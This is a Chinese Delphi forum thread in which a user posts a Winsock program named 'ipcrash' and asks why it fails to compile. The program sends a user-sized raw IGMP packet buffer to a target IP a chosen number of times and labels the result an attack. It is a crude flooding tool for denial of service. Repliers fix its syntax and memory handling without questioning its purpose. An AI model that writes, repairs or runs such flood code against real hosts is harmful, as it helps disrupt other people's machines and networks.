一个winsock编程但出了一点问题,请帮帮忙 ( 积分: 50 )

  • 主题发起人 主题发起人 QAlong
  • 开始时间 开始时间
Q

QAlong

Unregistered / Unconfirmed
GUEST, unregistred user!
unit ipcrash;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,winsock, ComCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
StatusBar1: TStatusBar;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
times:integer;
s:tsocket;
psize:integer;
addr:tsockaddr;
wsaData:TWSAData;
buffer:pchar;



implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
WSAStartup(word(2),wsaData);


end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text <>'' then begin
s:=socket(AF_INET,SOCK_RAW,IPPROTO_IGMP);
if s=INVALID_SOCKET then begin

statusBar1.panels.Items[0].text:=('Create Socket Errorr:'+ IntToStr(GetLastERRor()));
exit;
end;
Psize:=StrToInt(edit2.Text);
times:=StrToInt(edit3.text);
GetMem(buffer,Psize);
Addr.sin_family :=AF_INET;
Addr.sin_addr.S_addr :=inet_addr(pchar(edit1.text));
if connect(s,addr,SizeOf(addr))<>0 then begin
statusbar1.Panels.Items[0].text:=('Connect Error (Code):'+intToStr(getLastError()));
exit;
end;
Repeat
send(S,buffer^,PSize,0);
dec(times);
statusbar1.panels.items[0].text :='剩余'+inttostr(times)+'次';
until times=0;
statusbar1.panels.items[1].text :='攻击'+edit1.Text+'完成';

end else begin
statusbar1.Panels.Items[0].text:=('请检察各个参数设置是否正确!')
FreeMem(buffer); (*执行到这一行编译器显示“Missing operator or semicolon”*)
WSACleanup ;

end;
end;
end.
 
unit ipcrash;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,winsock, ComCtrls;

type
TForm1 = class(TForm)
Edit1: TEdit;
Edit2: TEdit;
Edit3: TEdit;
Button1: TButton;
StatusBar1: TStatusBar;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);

private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
times:integer;
s:tsocket;
psize:integer;
addr:tsockaddr;
wsaData:TWSAData;
buffer:pchar;



implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
WSAStartup(word(2),wsaData);


end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text <>'' then begin
s:=socket(AF_INET,SOCK_RAW,IPPROTO_IGMP);
if s=INVALID_SOCKET then begin

statusBar1.panels.Items[0].text:=('Create Socket Errorr:'+ IntToStr(GetLastERRor()));
exit;
end;
Psize:=StrToInt(edit2.Text);
times:=StrToInt(edit3.text);
GetMem(buffer,Psize);
Addr.sin_family :=AF_INET;
Addr.sin_addr.S_addr :=inet_addr(pchar(edit1.text));
if connect(s,addr,SizeOf(addr))<>0 then begin
statusbar1.Panels.Items[0].text:=('Connect Error (Code):'+intToStr(getLastError()));
exit;
end;
Repeat
send(S,buffer^,PSize,0);
dec(times);
statusbar1.panels.items[0].text :='剩余'+inttostr(times)+'次';
until times=0;
statusbar1.panels.items[1].text :='攻击'+edit1.Text+'完成';

end else begin
statusbar1.Panels.Items[0].text:=('请检察各个参数设置是否正确!')
FreeMem(buffer); (*执行到这一行编译器显示“Missing operator or semicolon”*)
WSACleanup ;

end;
end;
end.
 
statusbar1.Panels.Items[0].text:=('请检察各个参数设置是否正确!');//这里少;
FreeMem(buffer); (*执行到这一行编译器显示“Missing operator or semicolon”*)
 
procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text <> '' then begin
s := socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
if s = INVALID_SOCKET then begin

statusBar1.panels.Items[0].text := ('Create Socket Errorr:' + IntToStr(GetLastERRor()));
exit;
end;
Psize := StrToInt(edit2.Text);
times := StrToInt(edit3.text);
GetMem(buffer, Psize);
Addr.sin_family := AF_INET;
Addr.sin_addr.S_addr := inet_addr(pchar(edit1.text));
if connect(s, addr, SizeOf(addr)) <> 0 then begin
statusbar1.Panels.Items[0].text := ('Connect Error (Code):' + intToStr(getLastError()));
exit;
end;
repeat
send(S, buffer^, PSize, 0);
dec(times);
statusbar1.panels.items[0].text := '剩余' + inttostr(times) + '次';
until times = 0;
statusbar1.panels.items[1].text := '攻击' + edit1.Text + '完成';

end
else
begin
statusbar1.Panels.Items[0].text := ('请检察各个参数设置是否正确!')
FreeMem(buffer); (*执行到这一行编译器显示“Missing operator or semicolon”*)
WSACleanup;

end;
end;
end.


代码写得太差了,

FreeMem(buffer); 根本就没有 GetMem,怎么能释放内存呢?

还有你上面使用 GetMem(buffer, Psize);分配的内存根本就没有被释放


你的begin 与end的对应你自己可能都没搞清楚
 
GetMem(buffer, Psize);
也和
freemem(buffer,psize)
配对
 
这个代码好难看懂啊[:(]
if edit1.Text <>'' then
begin
GetMem(buffer,Psize);
end else
begin
statusbar1.Panels.Items[0].text:=('请检察各个参数设置是否正确!')
FreeMem(buffer); (*执行到这一行编译器显示“Missing operator or semicolon”*)
WSACleanup ;
end;
应该把FreeMem(buffer); 放到上面去
 
接受答案了.
 
后退
顶部